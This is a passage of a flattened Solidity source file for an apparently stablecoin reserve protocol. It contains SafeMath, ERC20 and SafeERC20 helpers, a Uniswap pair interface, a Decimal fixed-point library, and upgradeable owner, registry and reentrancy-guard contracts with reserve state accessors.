* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
/*
Copyright 2019 dYdX Trading Inc.
Copyright 2020, 2021 Empty Set Squad <[email protected]>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title Decimal
* @notice Library that defines a fixed-point number with 18 decimal places.
*
* audit-info: Extended from dYdX's Decimal library:
* https://github.com/dydxprotocol/solo/blob/master/contracts/protocol/lib/Decimal.sol
*/
library Decimal {
using SafeMath for uint256;
// ============ Constants ============
/**
* @notice Fixed-point base for Decimal.D256 values
*/
uint256 constant BASE = 10**18;
// ============ Structs ============
/**
* @notice Main struct to hold Decimal.D256 state
* @dev Represents the number value / BASE
*/
struct D256 {
/**
* @notice Underlying value of the Decimal.D256
*/
uint256 value;
}
// ============ Static Functions ============
/**
* @notice Returns a new Decimal.D256 struct initialized to represent 0.0
* @return Decimal.D256 representation of 0.0
*/
function zero()
internal
pure
returns (D256 memory)
{
return D256({ value: 0 });
}
/**
* @notice Returns a new Decimal.D256 struct initialized to represent 1.0
* @return Decimal.D256 representation of 1.0
*/
function one()
internal
pure
returns (D256 memory)
{
return D256({ value: BASE });
}
/**
* @notice Returns a new Decimal.D256 struct initialized to represent `a`
* @param a Integer to transform to Decimal.D256 type
* @return Decimal.D256 representation of integer`a`
*/
function from(
uint256 a
)
internal
pure
returns (D256 memory)
{
return D256({ value: a.mul(BASE) });
}
/**
* @notice Returns a new Decimal.D256 struct initialized to represent `a` / `b`
* @param a Numerator of ratio to transform to Decimal.D256 type
* @param b Denominator of ratio to transform to Decimal.D256 type
* @return Decimal.D256 representation of ratio `a` / `b`
*/
function ratio(
uint256 a,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: getPartial(a, BASE, b) });
}
// ============ Self Functions ============
/**
* @notice Adds integer `b` to Decimal.D256 `self`
* @param self Original Decimal.D256 number
* @param b Integer to add to `self`
* @return Resulting Decimal.D256
*/
function add(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.add(b.mul(BASE)) });
}
/**
* @notice Subtracts integer `b` from Decimal.D256 `self`
* @param self Original Decimal.D256 number
* @param b Integer to subtract from `self`
* @return Resulting Decimal.D256
*/
function sub(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.mul(BASE)) });
}
/**
* @notice Subtracts integer `b` from Decimal.D256 `self`
* @dev Reverts on underflow with reason `reason`
* @param self Original Decimal.D256 number
* @param b Integer to subtract from `self`
* @param reason Revert reason
* @return Resulting Decimal.D256
*/
function sub(
D256 memory self,
uint256 b,
string memory reason
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.mul(BASE), reason) });
}
/**
* @notice Subtracts integer `b` from Decimal.D256 `self`
* @param self Original Decimal.D256 number
* @param b Integer to subtract from `self`
* @return 0 on underflow, or the Resulting Decimal.D256
*/
function subOrZero(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
uint256 amount = b.mul(BASE);
return D256({ value: self.value > amount ? self.value.sub(amount) : 0 });
}
/**
* @notice Multiplies Decimal.D256 `self` by integer `b`
* @param self Original Decimal.D256 number
* @param b Integer to multiply `self` by
* @return Resulting Decimal.D256
*/
function mul(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.mul(b) });
}
/**
* @notice Divides Decimal.D256 `self` by integer `b`
* @param self Original Decimal.D256 number
* @param b Integer to divide `self` by
* @return Resulting Decimal.D256
*/
function div(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.div(b) });
}
/**
* @notice Divides Decimal.D256 `self` by integer `b`
* @dev Reverts on divide-by-zero with reason `reason`
* @param self Original Decimal.D256 number
* @param b Integer to divide `self` by
* @param reason Revert reason
* @return Resulting Decimal.D256
*/
function div(
D256 memory self,
uint256 b,
string memory reason
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.div(b, reason) });
}
/**
* @notice Exponentiates Decimal.D256 `self` to the power of integer `b`
* @dev Not optimized - is only suitable to use with small exponents
* @param self Original Decimal.D256 number
* @param b Integer exponent
* @return Resulting Decimal.D256
*/
function pow(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
if (b == 0) {
return from(1);
}
D256 memory temp = D256({ value: self.value });
for (uint256 i = 1; i < b; i++) {
temp = mul(temp, self);
}
return temp;
}
/**
* @notice Adds Decimal.D256 `b` to Decimal.D256 `self`
* @param self Original Decimal.D256 number
* @param b Decimal.D256 to add to `self`
* @return Resulting Decimal.D256
*/
function add(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.add(b.value) });
}
/**
* @notice Subtracts Decimal.D256 `b` from Decimal.D256 `self`
* @param self Original Decimal.D256 number
* @param b Decimal.D256 to subtract from `self`
* @return Resulting Decimal.D256
*/
function sub(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.value) });
}
/**
* @notice Subtracts Decimal.D256 `b` from Decimal.D256 `self`
* @dev Reverts on underflow with reason `reason`
* @param self Original Decimal.D256 number
* @param b Decimal.D256 to subtract from `self`
* @param reason Revert reason
* @return Resulting Decimal.D256
*/
function sub(
D256 memory self,
D256 memory b,
string memory reason
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.value, reason) });
}
/**
* @notice Subtracts Decimal.D256 `b` from Decimal.D256 `self`
* @param self Original Decimal.D256 number
* @param b Decimal.D256 to subtract from `self`
* @return 0 on underflow, or the Resulting Decimal.D256
*/
function subOrZero(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value > b.value ? self.value.sub(b.value) : 0 });
}
/**
* @notice Multiplies Decimal.D256 `self` by Decimal.D256 `b`
* @param self Original Decimal.D256 number
* @param b Decimal.D256 to multiply `self` by
* @return Resulting Decimal.D256
*/
function mul(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: getPartial(self.value, b.value, BASE) });
}
/**
* @notice Divides Decimal.D256 `self` by Decimal.D256 `b`
* @param self Original Decimal.D256 number
* @param b Decimal.D256 to divide `self` by
* @return Resulting Decimal.D256
*/
function div(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: getPartial(self.value, BASE, b.value) });
}
/**
* @notice Divides Decimal.D256 `self` by Decimal.D256 `b`
* @dev Reverts on divide-by-zero with reason `reason`
* @param self Original Decimal.D256 number
* @param b Decimal.D256 to divide `self` by
* @param reason Revert reason
* @return Resulting Decimal.D256
*/
function div(
D256 memory self,
D256 memory b,
string memory reason
)
internal
pure
returns (D256 memory)
{
return D256({ value: getPartial(self.value, BASE, b.value, reason) });
}
/**
* @notice Checks if `b` is equal to `self`
* @param self Original Decimal.D256 number
* @param b Decimal.D256 to compare
* @return Whether `b` is equal to `self`
*/
function equals(D256 memory self, D256 memory b) internal pure returns (bool) {
return self.value == b.value;
}
/**
* @notice Checks if `b` is greater than `self`
* @param self Original Decimal.D256 number
* @param b Decimal.D256 to compare
* @return Whether `b` is greater than `self`
*/
function greaterThan(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) == 2;
}
/**
* @notice Checks if `b` is less than `self`
* @param self Original Decimal.D256 number
* @param b Decimal.D256 to compare
* @return Whether `b` is less than `self`
*/
function lessThan(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) == 0;
}
/**
* @notice Checks if `b` is greater than or equal to `self`
* @param self Original Decimal.D256 number
* @param b Decimal.D256 to compare
* @return Whether `b` is greater than or equal to `self`
*/
function greaterThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) > 0;
}
/**
* @notice Checks if `b` is less than or equal to `self`
* @param self Original Decimal.D256 number
* @param b Decimal.D256 to compare
* @return Whether `b` is less than or equal to `self`
*/
function lessThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) < 2;
}
/**
* @notice Checks if `self` is equal to 0
* @param self Original Decimal.D256 number
* @return Whether `self` is equal to 0
*/
function isZero(D256 memory self) internal pure returns (bool) {
return self.value == 0;
}
/**
* @notice Truncates the decimal part of `self` and returns the integer value as a uint256
* @param self Original Decimal.D256 number
* @return Truncated Integer value as a uint256
*/
function asUint256(D256 memory self) internal pure returns (uint256) {
return self.value.div(BASE);
}
// ============ General Math ============
/**
* @notice Determines the minimum of `a` and `b`
* @param a First Decimal.D256 number to compare
* @param b Second Decimal.D256 number to compare
* @return Resulting minimum Decimal.D256
*/
function min(D256 memory a, D256 memory b) internal pure returns (Decimal.D256 memory) {
return lessThan(a, b) ? a : b;
}
/**
* @notice Determines the maximum of `a` and `b`
* @param a First Decimal.D256 number to compare
* @param b Second Decimal.D256 number to compare
* @return Resulting maximum Decimal.D256
*/
function max(D256 memory a, D256 memory b) internal pure returns (Decimal.D256 memory) {
return greaterThan(a, b) ? a : b;
}
// ============ Core Methods ============
/**
* @notice Multiplies `target` by ratio `numerator` / `denominator`
* @dev Internal only - helper
* @param target Original Integer number
* @param numerator Integer numerator of ratio
* @param denominator Integer denominator of ratio
* @return Resulting Decimal.D256 number
*/
function getPartial(
uint256 target,
uint256 numerator,
uint256 denominator
)
private
pure
returns (uint256)
{
return target.mul(numerator).div(denominator);
}
/**
* @notice Multiplies `target` by ratio `numerator` / `denominator`
* @dev Internal only - helper
* Reverts on divide-by-zero with reason `reason`
* @param target Original Integer number
* @param numerator Integer numerator of ratio
* @param denominator Integer denominator of ratio
* @param reason Revert reason
* @return Resulting Decimal.D256 number
*/
function getPartial(
uint256 target,
uint256 numerator,
uint256 denominator,
string memory reason
)
private
pure
returns (uint256)
{
return target.mul(numerator).div(denominator, reason);
}
/**
* @notice Compares Decimal.D256 `a` to Decimal.D256 `b`
* @dev Internal only - helper
* @param a First Decimal.D256 number to compare
* @param b Second Decimal.D256 number to compare
* @return 0 if a < b, 1 if a == b, 2 if a > b
*/
function compareTo(
D256 memory a,
D256 memory b
)
private
pure
returns (uint256)
{
if (a.value == b.value) {
return 1;
}
return a.value > b.value ? 2 : 0;
}
}
/*
Copyright 2020, 2021 Empty Set Squad <[email protected]>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title IManagedToken
* @notice Generic interface for ERC20 tokens that can be minted and burned by their owner
* @dev Used by Dollar and Stake in this protocol
*/
interface IManagedToken {
/**
* @notice Mints `amount` tokens to the {owner}
* @param amount Amount of token to mint
*/
function burn(uint256 amount) external;
/**
* @notice Burns `amount` tokens from the {owner}
* @param amount Amount of token to burn
*/
function mint(uint256 amount) external;
}
/**
* @title IGovToken
* @notice Generic interface for ERC20 tokens that have Compound-governance features
* @dev Used by Stake and other compatible reserve-held tokens
*/
interface IGovToken {
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external;
}
/**
* @title IReserve
* @notice Interface for the protocol reserve
*/
interface IReserve {
/**
* @notice The price that one ESD can currently be sold to the reserve for
* @dev Returned as a Decimal.D256
* Normalizes for decimals (e.g. 1.00 USDC == Decimal.one())
* @return Current ESD redemption price
*/
function redeemPrice() external view returns (Decimal.D256 memory);
}
interface IRegistry {
/**
* @notice USDC token contract
*/
function usdc() external view returns (address);
/**
* @notice Compound protocol cUSDC pool
*/
function cUsdc() external view returns (address);
/**
* @notice ESD stablecoin contract
*/
function dollar() external view returns (address);
/**
* @notice ESDS governance token contract
*/
function stake() external view returns (address);
/**
* @notice ESD reserve contract
*/
function reserve() external view returns (address);
/**
* @notice ESD governor contract
*/
function governor() external view returns (address);
/**
* @notice ESD timelock contract, owner for the protocol
*/
function timelock() external view returns (address);
/**
* @notice Migration contract to bride v1 assets with current system
*/
function migrator() external view returns (address);
/**
* @notice Registers a new address for USDC
* @dev Owner only - governance hook
* @param newValue New address to register
*/
function setUsdc(address newValue) external;
/**
* @notice Registers a new address for cUSDC
* @dev Owner only - governance hook
* @param newValue New address to register
*/
function setCUsdc(address newValue) external;
/**
* @notice Registers a new address for ESD
* @dev Owner only - governance hook
* @param newValue New address to register
*/
function setDollar(address newValue) external;
/**
* @notice Registers a new address for ESDS
* @dev Owner only - governance hook
* @param newValue New address to register
*/
function setStake(address newValue) external;
/**
* @notice Registers a new address for the reserve
* @dev Owner only - governance hook
* @param newValue New address to register
*/
function setReserve(address newValue) external;
/**
* @notice Registers a new address for the governor
* @dev Owner only - governance hook
* @param newValue New address to register
*/
function setGovernor(address newValue) external;
/**
* @notice Registers a new address for the timelock
* @dev Owner only - governance hook
* Does not automatically update the owner of all owned protocol contracts
* @param newValue New address to register
*/
function setTimelock(address newValue) external;
/**
* @notice Registers a new address for the v1 migration contract
* @dev Owner only - governance hook
* @param newValue New address to register
*/
function setMigrator(address newValue) external;
}
/*
Copyright 2021 Empty Set Squad <[email protected]>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title TimeUtils
* @notice Library that accompanies Decimal to convert unix time into Decimal.D256 values
*/
library TimeUtils {
/**
* @notice Number of seconds in a single day
*/
uint256 private constant SECONDS_IN_DAY = 86400;
/**
* @notice Converts an integer number of seconds to a Decimal.D256 amount of days
* @param s Number of seconds to convert
* @return Equivalent amount of days as a Decimal.D256
*/
function secondsToDays(uint256 s) internal pure returns (Decimal.D256 memory) {
return Decimal.ratio(s, SECONDS_IN_DAY);
}
}
/*
Copyright 2021 Empty Set Squad <[email protected]>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title Implementation
* @notice Common functions and accessors across upgradeable, ownable contracts
*/
contract Implementation {
/**
* @notice Emitted when {owner} is updated with `newOwner`
*/
event OwnerUpdate(address newOwner);
/**
* @notice Emitted when {registry} is updated with `newRegistry`
*/
event RegistryUpdate(address newRegistry);
/**
* @dev Storage slot with the address of the current implementation
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
*/
bytes32 private constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Storage slot with the admin of the contract
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1
*/
bytes32 private constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @notice Storage slot with the owner of the contract
*/
bytes32 private constant OWNER_SLOT = keccak256("emptyset.v2.implementation.owner");
/**
* @notice Storage slot with the owner of the contract
*/
bytes32 private constant REGISTRY_SLOT = keccak256("emptyset.v2.implementation.registry");
/**
* @notice Storage slot with the owner of the contract
*/
bytes32 private constant NOT_ENTERED_SLOT = keccak256("emptyset.v2.implementation.notEntered");
// UPGRADEABILITY
/**
* @notice Returns the current implementation
* @return Address of the current implementation
*/
function implementation() external view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @notice Returns the current proxy admin contract
* @return Address of the current proxy admin contract
*/
function admin() external view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
// REGISTRY
/**
* @notice Updates the registry contract
* @dev Owner only - governance hook
* If registry is already set, the new registry's timelock must match the current's
* @param newRegistry New registry contract
*/
function setRegistry(address newRegistry) external onlyOwner {
IRegistry registry = registry();
// New registry must have identical owner
require(newRegistry != address(0), "Implementation: zero address");
require(
(address(registry) == address(0) && Address.isContract(newRegistry)) ||
IRegistry(newRegistry).timelock() == registry.timelock(),
"Implementation: timelocks must match"
);
_setRegistry(newRegistry);
emit RegistryUpdate(newRegistry);
}
/**
* @notice Updates the registry contract
* @dev Internal only
* @param newRegistry New registry contract
*/
function _setRegistry(address newRegistry) internal {
bytes32 position = REGISTRY_SLOT;
assembly {
sstore(position, newRegistry)
}
}
/**
* @notice Returns the current registry contract
* @return Address of the current registry contract
*/
function registry() public view returns (IRegistry reg) {
bytes32 slot = REGISTRY_SLOT;
assembly {
reg := sload(slot)
}
}
// OWNER
/**
* @notice Takes ownership over a contract if none has been set yet
* @dev Needs to be called initialize ownership after deployment
* Ensure that this has been properly set before using the protocol
*/
function takeOwnership() external {
require(owner() == address(0), "Implementation: already initialized");
_setOwner(msg.sender);
emit OwnerUpdate(msg.sender);
}
/**
* @notice Updates the owner contract
* @dev Owner only - governance hook
* @param newOwner New owner contract
*/
function setOwner(address newOwner) external onlyOwner {
require(newOwner != address(this), "Implementation: this");
require(Address.isContract(newOwner), "Implementation: not contract");
_setOwner(newOwner);
emit OwnerUpdate(newOwner);
}
/**
* @notice Updates the owner contract
* @dev Internal only
* @param newOwner New owner contract
*/
function _setOwner(address newOwner) internal {
bytes32 position = OWNER_SLOT;
assembly {
sstore(position, newOwner)
}
}
/**
* @notice Owner contract with admin permission over this contract
* @return Owner contract
*/
function owner() public view returns (address o) {
bytes32 slot = OWNER_SLOT;
assembly {
o := sload(slot)
}
}
/**
* @dev Only allow when the caller is the owner address
*/
modifier onlyOwner {
require(msg.sender == owner(), "Implementation: not owner");
_;
}
// NON REENTRANT
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(notEntered(), "Implementation: reentrant call");
// Any calls to nonReentrant after this point will fail
_setNotEntered(false);
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_setNotEntered(true);
}
/**
* @notice The entered status of the current call
* @return entered status
*/
function notEntered() internal view returns (bool ne) {
bytes32 slot = NOT_ENTERED_SLOT;
assembly {
ne := sload(slot)
}
}
/**
* @notice Updates the entered status of the current call
* @dev Internal only
* @param newNotEntered New entered status
*/
function _setNotEntered(bool newNotEntered) internal {
bytes32 position = NOT_ENTERED_SLOT;
assembly {
sstore(position, newNotEntered)
}
}
// SETUP
/**
* @notice Hook to surface arbitrary logic to be called after deployment by owner
* @dev Governance hook
* Does not ensure that it is only called once because it is permissioned to governance only
*/
function setup() external onlyOwner {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_setNotEntered(true);
_setup();
}
/**
* @notice Override to provide addition setup logic per implementation
*/
function _setup() internal { }
}
/*
Copyright 2021 Empty Set Squad <[email protected]>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title ReserveTypes
* @notice Contains all reserve state structs
*/
contract ReserveTypes {
/**
* @notice Stores state for a single order
*/
struct Order {
/**
* @notice price (takerAmount per makerAmount) for the order as a Decimal
*/
Decimal.D256 price;
/**
* @notice total available amount of the maker token
*/
uint256 amount;
}
/**
* @notice Stores state for the entire reserve
*/
struct State {
/**
* @notice Total debt
*/
uint256 totalDebt;
/**
* @notice Mapping of total debt per borrower
*/
mapping(address => uint256) debt;
/**
* @notice Mapping of all registered limit orders
*/
mapping(address => mapping(address => ReserveTypes.Order)) orders;
}
}
/**
* @title ReserveState
* @notice Reserve state
*/
contract ReserveState {
/**
* @notice Entirety of the reserve contract state
* @dev To upgrade state, append additional state variables at the end of this contract
*/
ReserveTypes.State internal _state;
}
/**
* @title ReserveAccessors
* @notice Reserve state accessor helpers
*/
contract ReserveAccessors is Implementation, ReserveState {
using SafeMath for uint256;
using Decimal for Decimal.D256;
// SWAPPER
/**
* @notice Full state of the `makerToken`-`takerToken` order
* @param makerToken Token that the reserve wishes to sell
* @param takerToken Token that the reserve wishes to buy
* @return Specified order
*/
function order(address makerToken, address takerToken) public view returns (ReserveTypes.Order memory) {
return _state.orders[makerToken][takerToken];
}
/**
* @notice Returns the total debt outstanding
* @return Total debt
*/
function totalDebt() public view returns (uint256) {
return _state.totalDebt;
}
/**
* @notice Returns the total debt outstanding for `borrower`
* @return Total debt for borrower
*/
function debt(address borrower) public view returns (uint256) {
return _state.debt[borrower];
}
/**
